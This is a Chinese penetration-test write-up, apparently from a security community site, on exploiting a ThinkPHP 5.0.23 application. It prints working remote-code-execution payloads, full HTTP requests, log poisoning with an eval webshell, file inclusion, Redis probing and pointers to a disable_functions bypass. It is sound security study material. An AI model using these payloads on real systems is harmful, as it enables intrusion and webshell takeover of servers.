一次艰难的TP渗透测试
信息收集
由于网站 www.a.com/admin,访问立即跳转到www.a.com/admin/publicer/login
发现是TP,5.0.23,在漏洞的版本范围内,尝试使用:
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
_method=__construct&filter[]=system&method=GET&get[]=id
发现都不行,而且开启了pathinfo, 明明在版本范围内,payload打不成功怎么办
查看验证码,继续使用index.php?s=captcha 查看发现访问成功,change method,post,发现执行system,返回500,var_dump发现可以返回,说明代码能够执行成功
Host: vulnhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
_method=__construct&method=get&filter[]=var_dump&server[REQUEST_METHOD]=1&get[]=2
查看phpinfo:
POST /?s=captcha HTTP/1.1Host: vulnhostCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 83 _method=__construct&method=get&filter[]=phpinfo&server[REQUEST_METHOD]=1&get[]=4
查看相关的信息后,disable_functions:
目录知道的信息如下:
thinkphp 5.0.23
/www/wwwroot/vulhost/public/index.php
禁用函数
php 7.2.18,没办法assert
open_basedir /www/wwwroot/vulhostcn/:/tmp/:/proc/
首先想到的是,更新其他函数尝试,以及一些bypass绕过disable_functions,但是payload目前只能传入一个参数,并且还限制了很多函数.
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=/tmp/sess_asd _method=__construct&method=get&filter[]=think\Session::set&get[]=<?php x?>
发现不成功,可能session位置不对,查看phpinfo:
发现吧session写到了redis里,那尝试redis 来getshell试试:
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=curl_exec(curl_init('dict://127.0.0.1:6379/info'));
失败告终,尝试其他办法
发现readfile是可以的,先读取index.php确定文件路径
通过读取index.php
确定路径,读取log
_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhostcn/data/runtime/log/202004/04.log_method=__construct&method=get&filter[]=call_user_func&server[REQUEST_METHOD]=<?php eval($_POST['c']);?>_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=phpinfo();
文件包含成功,此漏洞详情可 查看https://xz.aliyun.com/t/6106
至此就基本上搞定了
传免杀shell:
查看目录文件:
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=print_r(scandir('/www/wwwroot/vulhostcn/public/'));
bypass disable_functions,参考:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass
fpm方式利用:
fpm没有使用tcp的方式,而是使用了unix的socket
$sock = stream_socket_client('unix:///tmp/php-fcgi.sock',$errno,$errstr);
redis后 自己在shell里上传个so 实现的命令执行等等,不过都是一些方向上的思路,可以以后尝试。
作者:sevck,文章来源:先知社区